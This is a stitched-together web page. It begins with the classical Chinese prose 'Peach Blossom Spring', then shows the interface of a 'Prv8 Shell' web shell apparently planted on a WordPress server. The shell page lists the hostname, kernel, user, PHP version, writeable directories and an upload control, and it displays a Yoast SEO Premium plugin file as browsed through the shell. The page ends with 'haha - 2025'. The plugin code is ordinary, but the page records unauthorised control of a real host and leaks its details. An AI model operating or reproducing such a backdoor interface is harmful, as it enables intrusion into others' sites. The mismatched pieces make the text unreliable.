晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wordpress-seo-premium/premium/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/wordpress-seo-premium/premium/classes/social-previews.php
<?php
/**
 * WPSEO Premium plugin file.
 *
 * @package WPSEO\Premium
 */

/**
 * Initializer for the social previews.
 */
class WPSEO_Social_Previews implements WPSEO_WordPress_Integration {

	/**
	 * Registers the hooks.
	 *
	 * @codeCoverageIgnore Method uses dependencies.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'wp_ajax_retrieve_image_data_from_url', [ $this, 'ajax_retrieve_image_data_from_url' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
	}

	/**
	 * Enqueues the javascript and css files needed for the social previews.
	 *
	 * @codeCoverageIgnore Method uses dependencies.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		wp_enqueue_style( 'yoast-social-preview-css' );
		wp_enqueue_style( 'yoast-premium-social-preview' );
		wp_enqueue_script( 'yoast-social-preview' );
		wp_localize_script( 'yoast-social-preview', 'yoastSocialPreview', $this->localize() );
	}

	/**
	 * Retrieves image data from an image URL.
	 */
	public function ajax_retrieve_image_data_from_url() {
		$url = filter_input( INPUT_GET, 'imageURL', FILTER_SANITIZE_URL );

		if ( check_ajax_referer( 'retrieve_image_data_from_url', false, false ) === false ) {
			wp_send_json(
				[
					'status' => 'forbidden',
					'result' => $url,
				],
				403
			);
		}

		$attachment_id = $this->retrieve_image_id_from_url( $url );

		if ( $attachment_id ) {
			$image = wp_get_attachment_image_src( $attachment_id, 'full' );

			$result = [
				'status' => 'success',
				'result' => $image[0],
			];
		}
		else {
			// Pass the original URL for consistency.
			$result = [
				'status' => 'success',
				'result' => $url,
			];
		}

		wp_send_json( $result );
	}

	/**
	 * Determines an attachment ID from a URL which might be an attachment URL.
	 *
	 * @link https://philipnewcomer.net/2012/11/get-the-attachment-id-from-an-image-url-in-wordpress/
	 *
	 * @param string $url The URL to retrieve the attachment ID for.
	 *
	 * @return bool|int The attachment ID or false.
	 */
	public function retrieve_image_id_from_url( $url ) {
		global $wpdb;

		$attachment_id = false;

		// Get the upload directory paths.
		$upload_dir_paths = wp_upload_dir();

		// Make sure the upload path base directory exists in the attachment URL, to verify that we're working with a media library image.
		if ( strpos( $url, $upload_dir_paths['baseurl'] ) !== false ) {

			// If this is the URL of an auto-generated thumbnail, get the URL of the original image.
			$url = preg_replace( '/-\d+x\d+(?=\.(jpg|jpeg|png|gif)$)/i', '', $url );

			// Remove the upload path base directory from the attachment URL.
			$url = str_replace( $upload_dir_paths['baseurl'] . '/', '', $url );

			// Finally, run a custom database query to get the attachment ID from the modified attachment URL.
			$attachment_id = $wpdb->get_var(
				$wpdb->prepare(
					"SELECT wposts.ID
						FROM {$wpdb->posts} AS wposts,
							{$wpdb->postmeta} AS wpostmeta
						WHERE wposts.ID = wpostmeta.post_id
							AND wpostmeta.meta_key = '_wp_attached_file'
							AND wpostmeta.meta_value = %s
							AND wposts.post_type = 'attachment'",
					$url
				)
			);
		}

		return (int) $attachment_id;
	}

	/**
	 * Returns the translations.
	 *
	 * @return array
	 */
	private function localize() {
		if ( empty( WPSEO_Meta::$meta_fields['social']['opengraph-title']['description'] ) ) {
			WPSEO_Social_Admin::translate_meta_boxes();
		}

		$social = WPSEO_Meta::$meta_fields['social'];

		return [
			'website'              => $this->get_website(),
			'uploadImage'          => __( 'Upload image', 'wordpress-seo-premium' ),
			'useOtherImage'        => __( 'Use other image', 'wordpress-seo-premium' ),
			'removeImageButton'    => __( 'Remove image', 'wordpress-seo-premium' ),
			'facebookDefaultImage' => WPSEO_Options::get( 'og_default_image' ),
			'i18n'                 => [
				'help'       => $this->get_help_translations( $social ),
				'helpButton' => [
					'facebookTitle'       => __( 'Show information about Facebook title', 'wordpress-seo-premium' ),
					'facebookDescription' => __( 'Show information about Facebook description', 'wordpress-seo-premium' ),
					'facebookImage'       => __( 'Show information about Facebook image', 'wordpress-seo-premium' ),
					'twitterTitle'        => __( 'Show information about Twitter title', 'wordpress-seo-premium' ),
					'twitterDescription'  => __( 'Show information about Twitter description', 'wordpress-seo-premium' ),
					'twitterImage'        => __( 'Show information about Twitter image', 'wordpress-seo-premium' ),
				],
				'library'    => $this->get_translations(),
			],
			'facebookNonce'        => wp_create_nonce( 'get_facebook_name' ),
			'imageDataNonce'       => wp_create_nonce( 'retrieve_image_data_from_url' ),
		];
	}

	/**
	 * Gets the help translations.
	 *
	 * @param array $social_field The social fields that are available.
	 *
	 * @return array Translations to be used in the social previews.
	 */
	private function get_help_translations( $social_field ) {
		// Default everything to empty strings.
		$localized = [];

		if ( isset( $social_field['opengraph-title'] ) ) {
			$localized['facebookTitle']       = $social_field['opengraph-title']['description'];
			$localized['facebookDescription'] = $social_field['opengraph-description']['description'];
			$localized['facebookImage']       = $social_field['opengraph-image']['description'];
		}

		if ( isset( $social_field['twitter-title'] ) ) {
			$localized['twitterTitle']       = $social_field['twitter-title']['description'];
			$localized['twitterDescription'] = $social_field['twitter-description']['description'];
			$localized['twitterImage']       = $social_field['twitter-image']['description'];
		}

		return $localized;
	}

	/**
	 * Get the website hostname.
	 *
	 * @return string
	 */
	private function get_website() {
		// We only want the host part of the URL.
		$website = wp_parse_url( home_url(), PHP_URL_HOST );
		$website = trim( $website, '/' );
		$website = strtolower( $website );

		return $website;
	}

	/**
	 * Returns Jed compatible YoastSEO.js translations.
	 *
	 * @return array
	 */
	private function get_translations() {
		$file = plugin_dir_path( WPSEO_FILE ) . 'premium/languages/yoast-social-previews-' . WPSEO_Language_Utils::get_user_locale() . '.json';
		if ( file_exists( $file ) ) {
			$file = file_get_contents( $file );
			if ( $file !== false ) {
				return json_decode( $file, true );
			}
		}

		return [];
	}

	/**
	 * Enqueues the assets.
	 *
	 * @deprecated 9.4
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function set_hooks() {
		_deprecated_function( 'WPSEO_Social_Previews::set_hooks', '9.4', 'WPSEO_Social_Previews::register_hooks' );
	}

	/**
	 * Sets the hooks necessary for AJAX.
	 *
	 * @deprecated 9.4
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function set_ajax_hooks() {
		_deprecated_function( 'WPSEO_Social_Previews::set_ajax_hooks', '9.4' );
	}

	/**
	 * Register the required assets.
	 *
	 * @deprecated 9.4
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_assets() {
		_deprecated_function( 'WPSEO_Social_Previews::set_ajax_hooks', '9.4' );
	}
}

haha - 2025